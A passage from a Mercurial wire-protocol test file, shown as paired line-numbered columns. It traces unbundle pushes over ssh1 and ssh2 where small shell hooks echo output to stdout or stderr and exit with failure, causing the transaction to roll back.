1220 e> read(-1) -> 216:
1221 e> adding changesets\n
1221 e> adding changesets\n
1222 e> adding manifests\n
1222 e> adding manifests\n
1223 e> adding file changes\n
1223 e> adding file changes\n
1224 e> added 1 changesets with 1 changes to 1 files\n
1224 e> added 1 changesets with 1 changes to 1 files\n
1225 e> stderr 1\n
1225 e> stderr 1\n
1226 e> stderr 2\n
1226 e> stderr 2\n
1227 e> stdout 1\n
1227 e> stdout 1\n
1228 e> stdout 2\n
1228 e> stdout 2\n
1229 e> transaction abort!\n
1229 e> transaction abort!\n
1230 e> rollback completed\n
1230 e> rollback completed\n
1231 e> abort: pretxnchangegroup.fail hook failed\n
1231 e> abort: pretxnchangegroup.fail hook failed\n
1232
1232
1233 Shell hook writing to stdout has output captured
1233 Shell hook writing to stdout has output captured
1234
1234
1235 $ cat > $TESTTMP/hook.sh << EOF
1235 $ cat > $TESTTMP/hook.sh << EOF
1236 > echo 'stdout 1'
1236 > echo 'stdout 1'
1237 > echo 'stdout 2'
1237 > echo 'stdout 2'
1238 > exit 1
1238 > exit 1
1239 > EOF
1239 > EOF
1240
1240
1241 $ cat > .hg/hgrc << EOF
1241 $ cat > .hg/hgrc << EOF
1242 > [hooks]
1242 > [hooks]
1243 > pretxnchangegroup.fail = sh $TESTTMP/hook.sh
1243 > pretxnchangegroup.fail = sh $TESTTMP/hook.sh
1244 > EOF
1244 > EOF
1245
1245
1246 $ debugwireproto << EOF
1246 $ debugwireproto << EOF
1247 > command unbundle
1247 > command unbundle
1248 > # This is "force" in hex.
1248 > # This is "force" in hex.
1249 > heads 666f726365
1249 > heads 666f726365
1250 > PUSHFILE ../initial.v1.hg
1250 > PUSHFILE ../initial.v1.hg
1251 > readavailable
1251 > readavailable
1252 > EOF
1252 > EOF
1253 testing ssh1
1253 testing ssh1
1254 creating ssh peer from handshake results
1254 creating ssh peer from handshake results
1255 i> write(104) -> None:
1255 i> write(104) -> 104:
1256 i> hello\n
1256 i> hello\n
1257 i> between\n
1257 i> between\n
1258 i> pairs 81\n
1258 i> pairs 81\n
1259 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1259 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1260 i> flush() -> None
1260 i> flush() -> None
1261 o> readline() -> 4:
1261 o> readline() -> 4:
1262 o> 384\n
1262 o> 384\n
1263 o> readline() -> 384:
1263 o> readline() -> 384:
1264 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1264 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1265 o> readline() -> 2:
1265 o> readline() -> 2:
1266 o> 1\n
1266 o> 1\n
1267 o> readline() -> 1:
1267 o> readline() -> 1:
1268 o> \n
1268 o> \n
1269 sending unbundle command
1269 sending unbundle command
1270 i> write(9) -> None:
1270 i> write(9) -> 9:
1271 i> unbundle\n
1271 i> unbundle\n
1272 i> write(9) -> None:
1272 i> write(9) -> 9:
1273 i> heads 10\n
1273 i> heads 10\n
1274 i> write(10) -> None: 666f726365
1274 i> write(10) -> 10: 666f726365
1275 i> flush() -> None
1275 i> flush() -> None
1276 o> readline() -> 2:
1276 o> readline() -> 2:
1277 o> 0\n
1277 o> 0\n
1278 i> write(4) -> None:
1278 i> write(4) -> 4:
1279 i> 426\n
1279 i> 426\n
1280 i> write(426) -> None:
1280 i> write(426) -> 426:
1281 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1281 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1282 i> test\n
1282 i> test\n
1283 i> 0 0\n
1283 i> 0 0\n
1284 i> foo\n
1284 i> foo\n
1285 i> \n
1285 i> \n
1286 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1286 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1287 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1287 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1288 i> \x00\x00\x00\x00\x00\x00\x00\x00
1288 i> \x00\x00\x00\x00\x00\x00\x00\x00
1289 i> write(2) -> None:
1289 i> write(2) -> 2:
1290 i> 0\n
1290 i> 0\n
1291 i> flush() -> None
1291 i> flush() -> None
1292 o> readline() -> 2:
1292 o> readline() -> 2:
1293 o> 0\n
1293 o> 0\n
1294 o> readline() -> 2:
1294 o> readline() -> 2:
1295 o> 1\n
1295 o> 1\n
1296 o> read(1) -> 1: 0
1296 o> read(1) -> 1: 0
1297 result: 0
1297 result: 0
1298 remote output:
1298 remote output:
1299 e> read(-1) -> 212:
1299 e> read(-1) -> 212:
1300 e> adding changesets\n
1300 e> adding changesets\n
1301 e> adding manifests\n
1301 e> adding manifests\n
1302 e> adding file changes\n
1302 e> adding file changes\n
1303 e> added 1 changesets with 1 changes to 1 files\n
1303 e> added 1 changesets with 1 changes to 1 files\n
1304 e> stdout 1\n
1304 e> stdout 1\n
1305 e> stdout 2\n
1305 e> stdout 2\n
1306 e> transaction abort!\n
1306 e> transaction abort!\n
1307 e> rollback completed\n
1307 e> rollback completed\n
1308 e> abort: pretxnchangegroup.fail hook exited with status 1\n
1308 e> abort: pretxnchangegroup.fail hook exited with status 1\n
1309
1309
1310 testing ssh2
1310 testing ssh2
1311 creating ssh peer from handshake results
1311 creating ssh peer from handshake results
1312 i> write(171) -> None:
1312 i> write(171) -> 171:
1313 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1313 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1314 i> hello\n
1314 i> hello\n
1315 i> between\n
1315 i> between\n
1316 i> pairs 81\n
1316 i> pairs 81\n
1317 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1317 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1318 i> flush() -> None
1318 i> flush() -> None
1319 o> readline() -> 62:
1319 o> readline() -> 62:
1320 o> upgraded * exp-ssh-v2-0001\n (glob)
1320 o> upgraded * exp-ssh-v2-0001\n (glob)
1321 o> readline() -> 4:
1321 o> readline() -> 4:
1322 o> 383\n
1322 o> 383\n
1323 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1323 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1324 o> read(1) -> 1:
1324 o> read(1) -> 1:
1325 o> \n
1325 o> \n
1326 sending unbundle command
1326 sending unbundle command
1327 i> write(9) -> None:
1327 i> write(9) -> 9:
1328 i> unbundle\n
1328 i> unbundle\n
1329 i> write(9) -> None:
1329 i> write(9) -> 9:
1330 i> heads 10\n
1330 i> heads 10\n
1331 i> write(10) -> None: 666f726365
1331 i> write(10) -> 10: 666f726365
1332 i> flush() -> None
1332 i> flush() -> None
1333 o> readline() -> 2:
1333 o> readline() -> 2:
1334 o> 0\n
1334 o> 0\n
1335 i> write(4) -> None:
1335 i> write(4) -> 4:
1336 i> 426\n
1336 i> 426\n
1337 i> write(426) -> None:
1337 i> write(426) -> 426:
1338 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1338 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1339 i> test\n
1339 i> test\n
1340 i> 0 0\n
1340 i> 0 0\n
1341 i> foo\n
1341 i> foo\n
1342 i> \n
1342 i> \n
1343 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1343 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1344 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1344 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1345 i> \x00\x00\x00\x00\x00\x00\x00\x00
1345 i> \x00\x00\x00\x00\x00\x00\x00\x00
1346 i> write(2) -> None:
1346 i> write(2) -> 2:
1347 i> 0\n
1347 i> 0\n
1348 i> flush() -> None
1348 i> flush() -> None
1349 o> readline() -> 2:
1349 o> readline() -> 2:
1350 o> 0\n
1350 o> 0\n
1351 o> readline() -> 2:
1351 o> readline() -> 2:
1352 o> 1\n
1352 o> 1\n
1353 o> read(1) -> 1: 0
1353 o> read(1) -> 1: 0
1354 result: 0
1354 result: 0
1355 remote output:
1355 remote output:
1356 e> read(-1) -> 212:
1356 e> read(-1) -> 212:
1357 e> adding changesets\n
1357 e> adding changesets\n
1358 e> adding manifests\n
1358 e> adding manifests\n
1359 e> adding file changes\n
1359 e> adding file changes\n
1360 e> added 1 changesets with 1 changes to 1 files\n
1360 e> added 1 changesets with 1 changes to 1 files\n
1361 e> stdout 1\n
1361 e> stdout 1\n
1362 e> stdout 2\n
1362 e> stdout 2\n
1363 e> transaction abort!\n
1363 e> transaction abort!\n
1364 e> rollback completed\n
1364 e> rollback completed\n
1365 e> abort: pretxnchangegroup.fail hook exited with status 1\n
1365 e> abort: pretxnchangegroup.fail hook exited with status 1\n
1366
1366
1367 Shell hook writing to stderr has output captured
1367 Shell hook writing to stderr has output captured
1368
1368
1369 $ cat > $TESTTMP/hook.sh << EOF
1369 $ cat > $TESTTMP/hook.sh << EOF
1370 > echo 'stderr 1' 1>&2
1370 > echo 'stderr 1' 1>&2
1371 > echo 'stderr 2' 1>&2
1371 > echo 'stderr 2' 1>&2
1372 > exit 1
1372 > exit 1
1373 > EOF
1373 > EOF
1374
1374
1375 $ debugwireproto << EOF
1375 $ debugwireproto << EOF
1376 > command unbundle
1376 > command unbundle
1377 > # This is "force" in hex.
1377 > # This is "force" in hex.
1378 > heads 666f726365
1378 > heads 666f726365
1379 > PUSHFILE ../initial.v1.hg
1379 > PUSHFILE ../initial.v1.hg
1380 > readavailable
1380 > readavailable
1381 > EOF
1381 > EOF
1382 testing ssh1
1382 testing ssh1
1383 creating ssh peer from handshake results
1383 creating ssh peer from handshake results
1384 i> write(104) -> None:
1384 i> write(104) -> 104:
1385 i> hello\n
1385 i> hello\n
1386 i> between\n
1386 i> between\n
1387 i> pairs 81\n
1387 i> pairs 81\n
1388 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1388 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1389 i> flush() -> None
1389 i> flush() -> None
1390 o> readline() -> 4:
1390 o> readline() -> 4:
1391 o> 384\n
1391 o> 384\n
1392 o> readline() -> 384:
1392 o> readline() -> 384:
1393 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1393 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1394 o> readline() -> 2:
1394 o> readline() -> 2:
1395 o> 1\n
1395 o> 1\n
1396 o> readline() -> 1:
1396 o> readline() -> 1:
1397 o> \n
1397 o> \n
1398 sending unbundle command
1398 sending unbundle command
1399 i> write(9) -> None:
1399 i> write(9) -> 9:
1400 i> unbundle\n
1400 i> unbundle\n
1401 i> write(9) -> None:
1401 i> write(9) -> 9:
1402 i> heads 10\n
1402 i> heads 10\n
1403 i> write(10) -> None: 666f726365
1403 i> write(10) -> 10: 666f726365
1404 i> flush() -> None
1404 i> flush() -> None
1405 o> readline() -> 2:
1405 o> readline() -> 2:
1406 o> 0\n
1406 o> 0\n
1407 i> write(4) -> None:
1407 i> write(4) -> 4:
1408 i> 426\n
1408 i> 426\n
1409 i> write(426) -> None:
1409 i> write(426) -> 426:
1410 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1410 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1411 i> test\n
1411 i> test\n
1412 i> 0 0\n
1412 i> 0 0\n
1413 i> foo\n
1413 i> foo\n
1414 i> \n
1414 i> \n
1415 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1415 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1416 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1416 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1417 i> \x00\x00\x00\x00\x00\x00\x00\x00
1417 i> \x00\x00\x00\x00\x00\x00\x00\x00
1418 i> write(2) -> None:
1418 i> write(2) -> 2:
1419 i> 0\n
1419 i> 0\n
1420 i> flush() -> None
1420 i> flush() -> None
1421 o> readline() -> 2:
1421 o> readline() -> 2:
1422 o> 0\n
1422 o> 0\n
1423 o> readline() -> 2:
1423 o> readline() -> 2:
1424 o> 1\n
1424 o> 1\n
1425 o> read(1) -> 1: 0
1425 o> read(1) -> 1: 0
1426 result: 0
1426 result: 0
1427 remote output:
1427 remote output:
1428 e> read(-1) -> 212:
1428 e> read(-1) -> 212:
1429 e> adding changesets\n
1429 e> adding changesets\n
1430 e> adding manifests\n
1430 e> adding manifests\n
1431 e> adding file changes\n
1431 e> adding file changes\n
1432 e> added 1 changesets with 1 changes to 1 files\n
1432 e> added 1 changesets with 1 changes to 1 files\n
1433 e> stderr 1\n
1433 e> stderr 1\n
1434 e> stderr 2\n
1434 e> stderr 2\n
1435 e> transaction abort!\n
1435 e> transaction abort!\n
1436 e> rollback completed\n
1436 e> rollback completed\n
1437 e> abort: pretxnchangegroup.fail hook exited with status 1\n
1437 e> abort: pretxnchangegroup.fail hook exited with status 1\n
1438
1438
1439 testing ssh2
1439 testing ssh2
1440 creating ssh peer from handshake results
1440 creating ssh peer from handshake results
1441 i> write(171) -> None:
1441 i> write(171) -> 171:
1442 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1442 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1443 i> hello\n
1443 i> hello\n
1444 i> between\n
1444 i> between\n
1445 i> pairs 81\n
1445 i> pairs 81\n
1446 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1446 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1447 i> flush() -> None
1447 i> flush() -> None
1448 o> readline() -> 62:
1448 o> readline() -> 62:
1449 o> upgraded * exp-ssh-v2-0001\n (glob)
1449 o> upgraded * exp-ssh-v2-0001\n (glob)
1450 o> readline() -> 4:
1450 o> readline() -> 4:
1451 o> 383\n
1451 o> 383\n
1452 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1452 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1453 o> read(1) -> 1:
1453 o> read(1) -> 1:
1454 o> \n
1454 o> \n
1455 sending unbundle command
1455 sending unbundle command
1456 i> write(9) -> None:
1456 i> write(9) -> 9:
1457 i> unbundle\n
1457 i> unbundle\n
1458 i> write(9) -> None:
1458 i> write(9) -> 9:
1459 i> heads 10\n
1459 i> heads 10\n
1460 i> write(10) -> None: 666f726365
1460 i> write(10) -> 10: 666f726365
1461 i> flush() -> None
1461 i> flush() -> None
1462 o> readline() -> 2:
1462 o> readline() -> 2:
1463 o> 0\n
1463 o> 0\n
1464 i> write(4) -> None:
1464 i> write(4) -> 4:
1465 i> 426\n
1465 i> 426\n
1466 i> write(426) -> None:
1466 i> write(426) -> 426:
1467 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1467 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1468 i> test\n
1468 i> test\n
1469 i> 0 0\n
1469 i> 0 0\n
1470 i> foo\n
1470 i> foo\n
1471 i> \n
1471 i> \n
1472 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1472 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1473 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1473 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1474 i> \x00\x00\x00\x00\x00\x00\x00\x00
1474 i> \x00\x00\x00\x00\x00\x00\x00\x00
1475 i> write(2) -> None:
1475 i> write(2) -> 2:
1476 i> 0\n
1476 i> 0\n
1477 i> flush() -> None
1477 i> flush() -> None
1478 o> readline() -> 2:
1478 o> readline() -> 2:
1479 o> 0\n
1479 o> 0\n
1480 o> readline() -> 2:
1480 o> readline() -> 2:
